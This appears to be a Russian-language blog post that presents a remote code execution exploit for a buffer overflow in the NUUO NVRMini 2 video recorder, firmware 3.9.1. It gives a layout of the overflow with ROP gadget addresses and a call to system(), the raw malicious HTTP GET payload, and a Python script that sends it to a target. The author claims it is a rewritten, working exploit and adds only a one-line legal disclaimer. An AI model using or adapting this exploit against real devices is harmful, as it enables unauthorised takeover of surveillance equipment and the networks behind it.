Всем привет! Сегодня я хочу разобрать эксплойт для NUUO NVRMini 2 версии 3.9.1 — переполнение буфера видео-регистратора NUUO NVRMini 2.
Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.
Таблица эксплуатации:
[ / ]
[ мусор x 335 ]
[ исходное значение указателя стека + 158 ]
[ мусор x 80 ]
[ адрес (pop {r3,lr} ; bx lr) ]
[ system() адрес ]
[ адрес (mov r0,sp ; blx r3) ]
[ команда для выполнения ]
Payload:
GET / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\x30\x2a\x17\x45YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\x08\xfc\x78\x40\x44\xe0\x17\x40\xcc\xb7\x77\x40/bin/touch,/tmp/haxHTTP/1.1\r\nHost:http://ip:port\r\n\r\n
GET / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
В этом месте мы посылаем GET-запрос в корень /
+ заполняем буфер на 335 байта, чтобы передавать в память уязвимые функции за пределом буфера:
\x30\x2a\x17\x45YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
Далее, вводим адрес исходного значения стека за пределами буфера + 80 байт мусора:
\x08\xfc\x78\x40\x44\xe0\x17\x40\xcc\xb7\x77\x40/bin/touch,/tmp/hax
После этого вводим адреса уязвимых функции и в конце — команду для выполнения:
HTTP/1.1\r\nHost:http://ip:port\r\n\r\n
Здесь указывается, на какой хост и порт пойдёт запрос.
Этот payload работает так — мы как бы меняем код приложения и заставляем его исполнять те функции, которые мы ввели (вводить необходимо именно в таком порядке, так как они успешно передают в память код для выполнения). Я нашёл эксплойт для этой уязвимости, но он был нерабочий и мне пришлось его переписать. Возможно, это единственный рабочий эксплойт на эту уязвимость:
from socket import *
def main():
ip = "ip";
port = "ip";
command = "/bin/touch,/tmp/hax"
print ("Sending exploit to execute [" + command + "]\n")
buf = "GET /" + ("Z" * 335) + "\x30\x2a\x17\x45" + ("Y" * 80) + "\x08\xfc\x78\x40" + "\x44\xe0\x17\x40" + "\xcc\xb7\x77\x40" + command + " HTTP/1.1\r\nHost: " + "http://" + ip + ":" + port + "\r\n\r\n"
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(30)
sock.connect((ip,int(port)))
sock.send(buf)
print ("Exploited\n")
if __name__ == "__main__":
main()
print ("Code release by im_not_eth1cal_hack3r =)")